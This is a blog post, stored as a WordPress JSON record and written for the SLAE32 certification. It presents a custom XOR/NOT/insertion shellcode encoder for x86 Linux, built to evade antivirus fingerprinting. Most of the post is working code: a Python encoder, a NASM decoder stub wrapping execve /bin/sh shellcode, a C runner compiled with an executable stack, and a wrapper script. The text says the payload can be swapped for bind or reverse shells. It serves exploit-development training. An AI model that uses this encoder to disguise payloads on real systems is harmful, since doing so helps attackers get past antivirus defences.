{"id":282,"date":"2022-05-15T20:52:48","date_gmt":"2022-05-15T20:52:48","guid":{"rendered":"https:\/\/jacklgmcbride.co.uk\/blog\/?p=282"},"modified":"2023-10-06T13:05:19","modified_gmt":"2023-10-06T13:05:19","slug":"slae32-assignment-4-custom-encoder","status":"publish","type":"post","link":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/2022\/05\/15\/slae32-assignment-4-custom-encoder\/","title":{"rendered":"SLAE32 Assignment #4: Custom Encoder"},"content":{"rendered":"\n<p>In this blog post, we cover how to implement a custom shellcode encoder for x86 Linux in assembly.<\/p>\n\n\n\n<p>This post follows on in the series of posts created for the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SLAE32<\/a> certification course provided by Pentester Academy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Overview<\/h2>\n\n\n\n<p>To prevent a shellcode payload from being fingerprinted by AV solutions, it is necessary to obfuscate its functionality.<\/p>\n\n\n\n<p>One of the ways this can be done is through encoding the shellcode payload. The general idea behind this is to take an original shellcode, perform a given mutation on each of the bytes in order to hide what it does, and then reverse this during in-memory execution to revert each byte back to its original functionality.<\/p>\n\n\n\n<p>Some of the more commonly-used schemes for encoding shellcode include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>XOR<\/li>\n\n\n\n<li>ROT<\/li>\n\n\n\n<li>base64<\/li>\n<\/ul>\n\n\n\n<p>In <strong>XOR<\/strong> encoding, the encoder performs an <strong>XOR<\/strong> operation on each byte of shellcode using a given <strong>encoder byte<\/strong> or <strong>key<\/strong> e.g. <strong>0xAA<\/strong>. When executed in memory, the <strong>decoder stub<\/strong> of the shellcode will then <strong>XOR<\/strong> each byte of the encoded shellcode with the provided key, in order to recover the original shellcode. From there, control is passed to the decoded shellcode for it to carry out its functionality.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220410171149.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Unsurprisingly, many of these encoding routines are well-known and fingerprinted by the majority of anti-virus engines. As such, it is beneficial to develop encoders at a low-level, where they may be highly-customised and distinguished from known variants. Assembly is just the language to achieve this aim.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Custom Encoder<\/h3>\n\n\n\n<p>In this blog post, we present a custom shellcoder encoder\/decoder in Python and Assembly.<\/p>\n\n\n\n<p>This encoder works in three layers. On a given shellcode, the encoder performs <strong>XOR<\/strong> encryption on each byte using a key of <strong>0x7<\/strong>. This encrypted byte is then obfuscated further using <strong>NOT<\/strong> encoding.<\/p>\n\n\n\n<p>To further obfuscate the shellcode, additional padding is introduced through an insertion encoder, which the byte '0xBA' between each legitimate instruction.<\/p>\n\n\n\n<p>In this given example, the shellcode that we have chosen to encode is a simple syscall to <strong>execve()<\/strong> to execute the <strong>\/bin\/sh<\/strong> command and spawn a shell.<\/p>\n\n\n\n<p>The custom encoder is written as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\n\n# Python Custom Shellcode Encoder\n# Shellcode is XOR encoded with a key of 0x7 and then NOT encoded\n# Next, a random number between 1 and 100 is inserted to pad the shellcode\n\nimport random\n\nshellcode = bytearray(b&quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80&quot;)\n\n#e_shellcode = &quot;&quot;\n\ndef encode(shellcode):\n\n        encoded = &quot;&quot;\n        encoded2 = &quot;&quot;\n\n        print(&quot;&#x5B;*] Encoded shellcode:&quot;)\n\n        for x in shellcode:\n\n                rand = random.randint(1,100)\n                # XOR x with 0x7\n                y = x ^ 0x7\n                z = ~y\n                encoded += '\\\\x'\n                encoded += '%02x' % (z &amp; 0xff)\n                # Insert random number between 1 and 100\n                encoded += '\\\\x%02x' % 0xBA\n\n                encoded2 += '0x'\n                encoded2 += '%02x,' % (z &amp; 0xff)\n                encoded2 += '0x%02x,' % 0xBA\n\n        return encoded, encoded2\n\ndef decode(e_shellcode):\n\n        decoded = &quot;&quot;\n        decoded2 = &quot;&quot;\n\n        print(&quot;\\n&#x5B;*] Decoded shellcode:&quot;)\n\n        for i in range(0, len(e_shellcode)):\n                # XOR x with 0x7\n                y = ~ e_shellcode&#x5B;i] &amp; 0xff\n                z = y ^ 0x7\n\n                # Skip every other padding byte\n                if i  % 2 != 0:\n                        continue\n\n                decoded += '\\\\x'\n                decoded += '%02x' % z\n\n                decoded2 += '0x'\n                decoded2 += '%02x,' % z\n\n        return decoded, decoded2\n\ndef main():\n\n        # Add a 0xbb as markers for end of encoded shellcode\n        encoded, encoded2 = encode(shellcode)\n        #print('\\\\'.join(encoded.split('\\\\')&#x5B;:-1]) + '\\\\xbb')\n        print(','.join(encoded2.split(',')&#x5B;:-2]) + &quot;,0xbb&quot;)\n\n        #decoded, decoded2 = decode(e_shellcode)\n        #print(decoded)\n        #print(decoded2&#x5B;:-1])\n\nif __name__ == &quot;__main__&quot;:\n        main()\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Custom Decoder<\/h3>\n\n\n\n<p>The custom decoder is written in assembly, and is designed to reverse the encoding procedure performed by the python encoder.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n; custom-decoder.nasm\n; Author: Jack McBride (PA-6483)\n; Website:  https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n;\n; Assignment 4: Custom Encoder\n\nglobal _start\n\nsection .text\n\n_start:\n\n        jmp short call_shellcode;               Jump to the call_shellcode label\n\ndecoder:\n\n        pop esi;                                POP the location of our shellcode into ESI\n        lea edi, &#x5B;esi];                         Load the ESI register into EDI so both are pointing to the shellcode\n        xor ebx, ebx;                           Clear EBX register\n        xor eax, eax;                           Clear EAX register\n\ndecode:\n\n        mov bl, byte&#x5B;esi + eax];                Move byte of encoded shellcode into BL\n        mov dl, bl;                             Copy byte to DL\n        xor dl, 0xbb;                           Check if at end of shellcode\n        jz EncodedShellcode;                    If at the end, jump to the decoded shellcode\n        test al, 1;                             Check if at an odd byte (padding)\n        jnz decode_loop_inc;\n        not bl;                                 Perform NOT decoding on BL\n        xor bl, 0x7;                            XOR BL with 0x7\n        mov byte &#x5B;edi], bl;                     Move decoded BL byte into EDI\n        inc edi;                                Point EDI at next byte\n        inc eax;                                Increment EAX by one\n        jmp short decode;                       Decode next byte\n\ndecode_loop_inc:\n\n        add al, 1;                              Increment AL by 1\n        jmp short decode;                       Decode next byte\n\ncall_shellcode:\n\n        call decoder;                           Call the decoder label\n        EncodedShellcode: db 0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Testing the encoder<\/h3>\n\n\n\n<p>To test the encoder, we will use it to encode a simple shellcode payload.<\/p>\n\n\n\n<p>To begin, we generate the original shellcode which we wish to encode. This can be any chosen shellcode, but in our example case it is a call to <strong>execve()<\/strong> to execute <strong>\/bin\/sh<\/strong> and spawn a shell.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nshellcode = bytearray(b&quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80&quot;)\n<\/pre><\/div>\n\n\n<p>Next, we paste the original shellcode into the shellcode variable of the <strong>custom_decoder.py<\/strong> file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\n\n# Python Custom Shellcode Encoder\n# Shellcode is XOR encoded with a key of 0x7 and then NOT encoded\n# Next, a random number between 1 and 100 is inserted to pad the shellcode\n\nimport random\n\nshellcode = bytearray(b&quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80&quot;)\n...\n<\/pre><\/div>\n\n\n<p>We run <strong>custom_encoder.py<\/strong>, which outputs the encoded shellcode in two different formats.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder] python3 custom_encoder.py\n\n&#x5B;*] Encoded shellcode:\n\\xc9\\x54\\x38\\x07\\xa8\\x19\\x90\\x40\\xd7\\x59\\xd7\\x08\\x8b\\x0b\\x90\\x13\\x90\\x54\\xd7\\x13\\x9a\\x13\\x91\\x5d\\x96\\x06\\x71\\x36\\x1b\\x0e\\xa8\\x4b\\x71\\x47\\x1a\\x4e\\xab\\x07\\x71\\x09\\x19\\x34\\x48\\x60\\xf3\\x51\\x35\\x40\\x78\\xbb\n0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb\n<\/pre><\/div>\n\n\n<p>We copy the second format (0x) and paste it into the <strong>call_shellcode<\/strong> section of <strong>custom_decoder.nasm<\/strong>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\ncall_shellcode:\n\n        call decoder\n        EncodedShellcode: db 0xc9,0x54,0x38,0x07,0xa8,0x19,0x90,0x40,0xd7,0x59,0xd7,0x08,0x8b,0x0b,0x90,0x13,0x90,0x54,0xd7,0x13,0x9a,0x13,0x91,0x5d,0x96,0x06,0x71,0x36,0x1b,0x0e,0xa8,0x4b,0x71,0x47,0x1a,0x4e,0xab,0x07,0x71,0x09,0x19,0x34,0x48,0x60,0xf3,0x51,0x35,0x40,0x78,0xbb\n<\/pre><\/div>\n\n\n<p>We use <strong>nasm<\/strong> and <strong>ld<\/strong> to compile the shellcode.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# nasm -f elf32 -o custom_decoder.o custom_decoder.nasm\n\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# ld -o custom_decoder custom_decoder.o\n<\/pre><\/div>\n\n\n<p>Using objdump, we dump the bytes of the encoded shellcode:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# objdump -d custom_decoder |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'\n&quot;\\xeb\\x24\\x5e\\x8d\\x3e\\x31\\xdb\\x31\\xc0\\x8a\\x1c\\x06\\x88\\xda\\x80\\xf2\\xbb\\x74\\x18\\xa8\\x01\\x75\\x0b\\xf6\\xd3\\x80\\xf3\\x07\\x88\\x1f\\x47\\x40\\xeb\\xe7\\x04\\x01\\xeb\\xe3\\xe8\\xd7\\xff\\xff\\xff\\xc9\\x54\\x38\\x07\\xa8\\x19\\x90\\x40\\xd7\\x59\\xd7\\x08\\x8b\\x0b\\x90\\x13\\x90\\x54\\xd7\\x13\\x9a\\x13\\x91\\x5d\\x96\\x06\\x71\\x36\\x1b\\x0e\\xa8\\x4b\\x71\\x47\\x1a\\x4e\\xab\\x07\\x71\\x09\\x19\\x34\\x48\\x60\\xf3\\x51\\x35\\x40\\x78\\xbb&quot;\n<\/pre><\/div>\n\n\n<p>We paste the encoded shellcode into the <strong>code<\/strong> variable of our <strong>shellcode.c<\/strong> file, as defined below:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code&#x5B;] = \\\n&quot;\\xeb\\x24\\x5e\\x8d\\x3e\\x31\\xdb\\x31\\xc0\\x8a\\x1c\\x06\\x88\\xda\\x80\\xf2\\xbb\\x74\\x18\\xa8\\x01\\x75\\x0b\\xf6\\xd3\\x80\\xf3\\x07\\x88\\x1f\\x47\\x40\\xeb\\xe7\\x04\\x01\\xeb\\xe3\\xe8\\xd7\\xff\\xff\\xff\\xc9\\x54\\x38\\x07\\xa8\\x19\\x90\\x40\\xd7\\x59\\xd7\\x08\\x8b\\x0b\\x90\\x13\\x90\\x54\\xd7\\x13\\x9a\\x13\\x91\\x5d\\x96\\x06\\x71\\x36\\x1b\\x0e\\xa8\\x4b\\x71\\x47\\x1a\\x4e\\xab\\x07\\x71\\x09\\x19\\x34\\x48\\x60\\xf3\\x51\\x35\\x40\\x78\\xbb&quot;;\n\nint main()\n{\n\n        printf(&quot;Shellcode Length:  %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n\n}\n<\/pre><\/div>\n\n\n<p>We compile the <strong>shellcode.c<\/strong> file using <strong>gcc<\/strong>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n<p>Finally, we execute the shellcode and get a \/bin\/sh shell. Success!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501175009.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">GDB Analysis<\/h3>\n\n\n\n<p>Next, we analyse how our decoder works at an instruction level using <a href=\"https:\/\/www.sourceware.org\/gdb\/\">gdb<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501200457.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We disassemble the &amp;code variable where our decoder stub begins, and set a break point to it. Next, we continue execution through the program until we hit the break point:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501200632.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We reach the beginning of our decoder stub, where our encoded shellcode is moved into the <strong>ESI<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501200829.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>At any time during the decoding routine, we can examine the contents of the shellcode buffer as follows:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155217.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The first byte of our encoded shellcode is moved into the <strong>BL<\/strong> register, in preparation for being decoded:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501201034.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>First, the <strong>NOT<\/strong> operation is performed on the first shellcode byte:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501201209.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, the byte is <strong>XOR<\/strong>ed with <strong>0x7<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501201310.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>This returns the byte back to its original decoded value. The decoder loop then starts back from the beginning again.<\/p>\n\n\n\n<p>On every subsequent run of the loop, the decoder stub has to skip past the extra byte added for padding. It does this by keeping a counter in the <strong>AL<\/strong> register, which, starting at <strong>0x0<\/strong> is incremented at every run of the decoding routine.<\/p>\n\n\n\n<p>The <strong>test<\/strong> instruction checks whether <strong>AL<\/strong> is an odd number, which it is in when the current byte is padding:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155325.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>In cases where <strong>AL<\/strong> is an odd number, the jump is taken back to the start of the decoding routine at the next shellcode byte:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155423.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>To study the progression of the shellcode being decoded, we can set a breakpoint on the <strong>inc EDI<\/strong> instruction and modify our <strong>hook-stop<\/strong> to print 50 bytes from the <strong>ESI<\/strong> register like so:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155555.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Now, when we continue the program execution, the shellcode buffer will be printed. We note that the first byte, which was originally 0xc9, is now 0x31:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155637.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We confirm that this is in line with our original shellcode buffer:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501224607.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We continue hitting this breakpoint until the entire buffer is decoded and the \/bin\/sh shell is executed.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220502155750.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The decoded shellcode works as expected. Nice!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220501224846.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>This concludes the analysis on our custom encoder. In place of executing <strong>\/bin\/sh<\/strong>, the payload can be flexibly replaced with a TCP <strong>bind<\/strong> or <strong>reverse<\/strong> shell. More information on this implementations of this can be found in blog posts 1 &amp; 2 in this series.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Code<\/h3>\n\n\n\n<p>In addition to the assembly and C implementations of the custom decoder example, we have implemented a Python wrapper script, <strong>custom_decoder.py<\/strong> to automatically generate a working demo.<\/p>\n\n\n\n<p>To run, replace the <strong>shellcode<\/strong> variable in <strong>custom_encoder.py<\/strong> with your choice of sh, bind or reverse shell payload.<\/p>\n\n\n\n<p>This code is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\nimport os\n\ndef update_decoder(shellcode):\n\n        decoder_file = open(&quot;custom_decoder.nasm&quot;, &quot;rt&quot;)\n        data = decoder_file.read()\n        data = data.replace(&quot;SHELLCODE&quot;, shellcode)\n\n        decoder_file.close()\n        decoder_file = open(&quot;tmp.nasm&quot;, &quot;wt&quot;)\n        decoder_file.write(data)\n        decoder_file.close()\n\ndef set_shellcode(shellcode):\n\n        shellcode_file = open(&quot;shellcode.c&quot;, &quot;rt&quot;)\n        data = shellcode_file.read()\n        data = data.replace(&quot;SHELLCODE&quot;, shellcode)\n\n        shellcode_file.close()\n        shellcode_file = open(&quot;tmp.c&quot;, &quot;wt&quot;)\n        shellcode_file.write(data)\n        shellcode_file.close()\n\ndef gen_shellcode(filename):\n        stream = os.popen(&quot;&quot;&quot;objdump -d {} |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'&quot;&quot;&quot;.format(filename))\n        shellcode = stream.read().rstrip()\n        shellcode = shellcode.strip('&quot;')\n        return shellcode.strip('&quot;')\n\ndef main():\n\n        encoded = os.popen('python3 custom_encoder.py').read().split('\\n')&#x5B;1].strip()\n\n        # Insert encoded execve() payload into decoder\n        update_decoder(encoded)\n        os.system('nasm -f elf32 -o tmp.o tmp.nasm')\n        os.system('ld -o tmp tmp.o')\n\n        # Generate custom decoder shellcode\n        shellcode = gen_shellcode('tmp')\n        # Copy shellcode into shellcode.c\n        set_shellcode(shellcode)\n\n        # Compile C skeleton file\n        os.system('gcc -fno-stack-protector -z execstack tmp.c -o custom_decoder')\n\n        # Cleanup\n        os.system('rm tmp*')\n\nif __name__ == &quot;__main__&quot;:\n        main()\n<\/pre><\/div>\n\n\n<p>The Python, Assembly, and C source code for my custom encoder implementation can be found on my <a href=\"https:\/\/github.com\/war4uthor\/SLAE32\">GitHub repository<\/a>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>This blog post has been created for completing the requirements of the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SecurityTube Linux Assembly Expert<\/a> certification.<\/p>\n\n\n\n<p><strong>Student ID:<\/strong> PA-6483<\/p>\n\n\n\n<p>All code was tested on 32-bit Kali Linux:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(jack\u327fkali)-&#x5B;~\/SLAE32\/Assignment 4: Custom Encoder]\n\u2514\u2500$ uname -a\nLinux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU\/Linux\n<\/pre><\/div>\n\n\n<p>In the next blog post, we will be covering an analysis of three popular MSFVenom shellcodes in assembly.<\/p>\n\n\n\n<p>Thanks for reading!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n","protected":false},"excerpt":{"rendered":"<p>In this blog post, we cover how to implement a custom shellcode encoder for x86 Linux in assembly. This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy. Overview To prevent a shellcode payload from being fingerprinted by AV solutions, it is necessary to obfuscate its&hellip;<\/p>\n","protected":false},"author":1,"featured_media":305,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[29,6,30,26,28],"tags":[27],"class_list":["post-282","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-assembly","category-certifications","category-linux","category-reverse-engineering","category-shellcoding","tag-slae32"],"_links":{"self":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/282","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=282"}],"version-history":[{"count":8,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/282\/revisions"}],"predecessor-version":[{"id":751,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/282\/revisions\/751"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media\/305"}],"wp:attachment":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}